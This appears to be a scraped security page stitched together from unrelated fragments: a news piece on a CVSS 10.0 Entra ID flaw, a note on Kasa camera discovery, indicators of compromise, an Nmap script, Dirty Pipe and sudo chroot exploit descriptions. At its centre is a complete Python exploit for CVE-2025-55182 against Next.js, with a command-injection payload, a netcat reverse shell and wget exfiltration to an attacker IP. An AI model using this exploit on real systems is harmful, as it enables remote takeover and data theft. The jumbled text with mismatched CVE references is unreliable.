August 21, 2026. CVSS 10.0. Deserialization. Microsoft patched a remote code execution vulnerability in Entra ID, its cloud identity service — and told customers to do nothing. The flaw, CVE-2026-69836, is rated CVSS 10.0, the maximum score, and stems from the deserialization of untrusted data that let an unauthenticated attacker execute code over the network.

The line to remember is not technical. It sits in Microsoft’s advisory: “This vulnerability has already been fully mitigated by Microsoft. There is no action for users of this service to take. The purpose of this CVE is to provide further transparency.” An invisible patch, for a flaw nobody can verify.

The flaw at the heart of identity

Entra ID — formerly Azure Active Directory — is the service that authenticates logins and controls access to Microsoft 365, Azure, and thousands of connected third-party apps. It is the central identity component at the vast majority of enterprises.

Deserialization of untrusted data means the application turns serialized, attacker-controlled input back into live objects or code structures, without sufficient validation. Here the consequence is the gravest possible: an unauthenticated attacker can execute code inside the identity service itself.

The flaw was discovered by Robert Fitzpatrick, a Microsoft principal security engineer. The vector is remote, account-free, and interaction-free — the triplet that justifies the 10.0.

A contradictory timeline

The public record is murkier than the advisory suggests. Help Net Security first reported the flaw as “exploited in the wild”, before Microsoft corrected an “Exploited” flag attached to the CVE. The result: the vulnerability is not in CISA’s KEV, the reference list of actively exploited flaws.

That back-and-forth matters. A withdrawn “exploited” flag, an absence from the KEV, and a patch “already applied” server-side leave a CISO with no independent way to know whether exploitation actually happened, or for how long.

Microsoft has not disclosed who was behind any exploitation, when it began, how many organizations were affected, or what attackers did once inside the service. The “further transparency” stops at the statement itself.

The opacity of the cloud patch

This is the core point. A server-side patch on a multi-tenant service you do not deploy is, by nature, invisible: no binary to download, no version to check, no reboot to schedule. You cannot confirm the fix is in place other than by trusting the vendor.

That opacity inverts the balance of traditional security. On an on-premise product, you control the patch; on a cloud service, you control only your signals — sign-in logs, audits, permission changes. Your defense perimeter shifts from patching to detection.

It is also a lesson in shared responsibility. Microsoft patches the service; you patch what the service cannot patch for you: accounts, roles, conditional access, and monitoring.

There is an interesting connection between this vulnerability and CVE-2026-13230, which affects the same TP-Link Kasa EC70/EC71 devices.

Recent research indicates that LG TVs send UDP/9999 discovery broadcasts approximately every 25 seconds. UDP/9999 is also used by the Kasa local discovery mechanism affected by CVE-2026-13230, which can disclose precise GPS coordinates without authentication.

This suggests that, on a local network containing both an LG TV and an unpatched Kasa EC70/EC71, the TV's periodic discovery traffic may trigger the vulnerable Kasa discovery response and expose the camera's stored geolocation information.

The two issues are distinct: CVE-2026-9770 concerns a hardcoded cryptographic private key, while CVE-2026-13230 concerns sensitive information disclosure through the local discovery mechanism. However, the shared UDP/9999 discovery traffic is worth investigating as a potential interaction between the two vulnerabilities.

Reference: https://github.com/BadChemical/IoT-Vulnerability-Research-Public/blob/main/TP-Link_Kasa_EC71/Kasa_EC71.md

telnetd: Enable autologin in legacy mode.

Without authentication, autologin was broken. Bug reported by Kuaikuai Wu to the list in `2014-12/msg00010.html'.

#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components RCE Exploit
Full Remote Code Execution against Next.js applications

⚠️  FOR AUTHORIZED SECURITY TESTING ONLY ⚠️

Affected versions:
- react-server-dom-webpack: 19.0.0 - 19.2.0
- Next.js: 15.x, 16.x (using App Router with Server Actions)

The vulnerability exploits prototype pollution in the Flight protocol
deserialization to achieve arbitrary code execution.

Credit: 
- Wiz for vuln discovery
- @maple3142 for first working poc
- @dez_ for this vibe poc

"""

import requests
import argparse
import sys
import time


class CVE2025_55182_RCE:
    """Full RCE exploit for CVE-2025-55182"""

    def __init__(self, target_url: str, timeout: int = 15):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()

    def build_payload(self, command: str) -> dict:
        """
        Build the RCE payload that exploits prototype pollution.

        The payload creates a fake React chunk object that:
        1. Pollutes Object.prototype.then via "$1:__proto__:then"
        2. Sets _formData.get to Function constructor via "$1:constructor:constructor"
        3. Injects code via _prefix that gets passed to Function()
        """
        # Escape single quotes in command
        escaped_cmd = command.replace("'", "'\"'\"'")

        # The malicious fake chunk structure
        payload_0 = (
            '{"then":"$1:__proto__:then",'
            '"status":"resolved_model",'
            '"reason":-1,'
            '"value":"{\\"then\\":\\"$B1337\\"}",'
            '"_response":{'
            '"_prefix":"process.mainModule.require(\'child_process\').execSync(\'' + escaped_cmd + '\');",'
            '"_chunks":"$Q2",'
            '"_formData":{"get":"$1:constructor:constructor"}'
            '}}'
        )

        return {
            '0': (None, payload_0),
            '1': (None, '"$@0"'),  # Reference to chunk 0
            '2': (None, '[]'),      # Empty array for chunks
        }

    def execute(self, command: str) -> dict:
        """
        Execute arbitrary command on the target server.

        Args:
            command: Shell command to execute

        Returns:
            dict with success status and any output
        """
        print(f"[*] Target: {self.target_url}")
        print(f"[*] Command: {command}")

        headers = {
            'Accept': 'text/x-component',
            'Next-Action': 'x',  # Invalid action ID triggers vulnerable path
            'User-Agent': 'CVE-2025-55182-Exploit/1.0',
        }

        files = self.build_payload(command)

        result = {
            'success': False,
            'command': command,
            'target': self.target_url,
        }

        try:
            print(f"[*] Sending exploit payload...")
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                files=files, 
                timeout=self.timeout
            )
            result['status_code'] = resp.status_code
            result['response'] = resp.text[:500]

            # A 500 response often indicates the exploit worked
            # (the command runs but the response fails to serialize)
            if resp.status_code == 500:
                print(f"[+] Exploit sent successfully (status 500)")
                result['success'] = True
            else:
                print(f"[?] Unexpected status: {resp.status_code}")

        except requests.exceptions.Timeout:
            # Timeout is expected - the server hangs processing the payload
            print(f"[+] Request timed out (expected during RCE)")
            result['success'] = True
            result['timeout'] = True

        except Exception as e:
            print(f"[-] Error: {e}")
            result['error'] = str(e)

        return result

    def check_vulnerability(self) -> bool:
        """Quick check if target is vulnerable"""
        print(f"[*] Checking if {self.target_url} is vulnerable...")

        headers = {
            'Accept': 'text/x-component',
            'Next-Action': 'x',
        }

        # Simple detection payload
        files = {
            '0': (None, '["$1:a:a"]'),
            '1': (None, '{}'),
        }

        try:
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                files=files, 
                timeout=10
            )

            if resp.status_code == 500 and 'E{"digest"' in resp.text:
                print(f"[+] Target appears VULNERABLE!")
                return True
            else:
                print(f"[-] Target may not be vulnerable (status {resp.status_code})")
                return False

        except Exception as e:
            print(f"[-] Check failed: {e}")
            return False

    def reverse_shell(self, attacker_ip: str, attacker_port: int) -> dict:
        """
        Attempt to establish a reverse shell.

        Args:
            attacker_ip: IP address to connect back to
            attacker_port: Port to connect back to
        """
        # mkfifo reverse shell - works on Alpine/busybox containers
        revshell = (
            f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f"
        )

        print(f"\n[!] Attempting reverse shell to {attacker_ip}:{attacker_port}")
        print(f"[!] Start listener: nc -lvnp {attacker_port}")

        return self.execute(revshell)

    def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -> dict:
        """
        Execute command and send output to attacker via HTTP POST.

        Args:
            command: Command to execute
            attacker_ip: IP address to send output to
            attacker_port: Port to send output to

        Start a listener with: nc -lvnp PORT
        Output will arrive as HTTP POST body.
        """
        # Using wget to POST command output back
        exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2>/dev/null'

        print(f"\n[!] Executing: {command}")
        print(f"[!] Output will POST to {attacker_ip}:{attacker_port}")
        print(f"[!] Start listener: nc -lvnp {attacker_port}")

        return self.execute(exfil_cmd)


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-55182 React Server Components RCE Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Check if vulnerable
  python3 exploit_rce.py http://target:3000 --check

  # Execute command (blind)
  python3 exploit_rce.py http://target:3000 -c "id"

  # Execute command with output exfiltration
  python3 exploit_rce.py http://target:3000 --exfil "id" 10.0.0.1 4444

  # Reverse shell (uses mkfifo + nc, works on Alpine)
  python3 exploit_rce.py http://target:3000 --revshell 10.0.0.1 4444
'''
    )

    parser.add_argument('target', help='Target URL (e.g., http://localhost:3000)')
    parser.add_argument('-c', '--command', help='Command to execute (blind)')
    parser.add_argument('--check', action='store_true', help='Check if vulnerable')
    parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'), 
                       help='Reverse shell to IP:PORT')
    parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'),
                       help='Execute CMD and POST output to IP:PORT')
    parser.add_argument('-t', '--timeout', type=int, default=15, 
                       help='Request timeout (default: 15)')

    args = parser.parse_args()

    if not any([args.check, args.command, args.revshell, args.exfil]):
        parser.print_help()
        print("\n[!] Specify --check, --command, --revshell, or --exfil")
        return 1

    exploit = CVE2025_55182_RCE(args.target, args.timeout)

    print("=" * 60)
    print("CVE-2025-55182 - React Server Components RCE")
    print("=" * 60)

    if args.check:
        return 0 if exploit.check_vulnerability() else 1

    if args.command:
        result = exploit.execute(args.command)
        return 0 if result.get('success') else 1

    if args.revshell:
        ip, port = args.revshell
        result = exploit.reverse_shell(ip, int(port))
        return 0 if result.get('success') else 1

    if args.exfil:
        cmd, ip, port = args.exfil
        result = exploit.exfiltrate(cmd, ip, int(port))
        return 0 if result.get('success') else 1

    return 0


if __name__ == '__main__':
    sys.exit(main())

Some cases have been detected in Luxembourg.

Check SoftwareDistribution.log for:

• SoapUtilities.CreateException ThrowException: actor = https://host:8531/ClientWebService/client.asmx -> Error thrown in SoftwareDistribution.log after exploitation
• AAEAAAD/////AQAAAAAAAAAEAQAAAH9 -> Part of the serialized payload, found in SoftwareDistribution.log
• 207.180.254[.]242 – VPS from which the exploit was sent
• ac7351b617f85863905ba8a30e46a112a9083f4d388fd708ccfe6ed33b5cf91d – SHA256 hash of embedded MZ payload

Command injection vulnerability in FTP-Flask-python. The project seems no more maintained. Last update the April 28, 2017.

Nmap script to detect a Microsoft SharePoint instance version.

Usage:

$ nmap -p 443 --script ms-sharepoint-version.nse example.com
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-21 17:33 CEST
Nmap scan report for example.com (127.0.0.1)
Host is up (0.030s latency).

PORT    STATE SERVICE
443/tcp open  https
| ms-sharepoint-version: 
|   16.0.10376: 
|     product: SharePoint Server 2019  SharePoint Server 2019 MUI/language patch
|     build: 16.0.10376
|_    release_date: July 2021

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

More information: https://github.com/righel/ms-sharepoint-version-nse

Dirty Pipe (CVE-2022-0847) is a vulnerability in the Linux kernel which allows an attacker to overwrite files that they have read-only access to. At the time of writing, this vulnerability is 3 years old, but overwriting nearly any file without appropriate permissions using only a few system calls stood out to me. Additionally, since the exploit abuses normal kernel behavior, detecting the exploit is not an easy task.

CVE-2022-0847 affects the following Linux kernel versions, according to NIST’s NVD:

• From 5.8 up to (but not including) 5.10.102
• From 5.15 up to (but not including) 5.15.25
• From 5.16 up to (but not including) 5.16.11

The vulnerability can be weaponized to escalate privileges on older Linux systems due to the arbitrary file overwrite. It abuses a flaw in functions in the Linux kernel that allowed pipes to contain stale flag values. Because of this, a pipe could be used to write to pages in the kernel page cache, which in turn could write arbitrarily to files the user does not have write permission for.

DISCLAIMER

This code is for educational and research purposes only.

Do not use it on systems you do not own or have permission to test.

The author is not responsible for any misuse, damage, or legal consequences resulting from the use of this code.

sudo chroot PrivEsc PoC (CVE-2025-32463)

This is an implementation of the sudo chroot vulnerability (CVE-2025-32463) exploit I wrote in Rust based on sudo's advisory and the Stratascale advisory. The exploit allows you to run arbitray code in the form of a shared library due to a bug in how sudo handles chroot.

When passing the chroot option to sudo, you can provide a malicious /etc/nsswitch.conf file within the chroot directory that tells sudo to load an arbitrary shared object. This PoC abuses this in order to grant root access to an unprivileged user.

Usage

Default PrivEsc Payload

Using the provided binaries under Releases, simply run the following to gain root:

./sudo_chroot_exploit

This uses a shared library payload which simply spawns a root shell.

Custom payloads

The payload code (C) is provided under /payload. There is also a Makefile provided for building the code. You can modify or replace the payload as you see fit. To specify a different payload than the default, you can run the following command:

/sudo_chroot_exploit -i custom_payload.so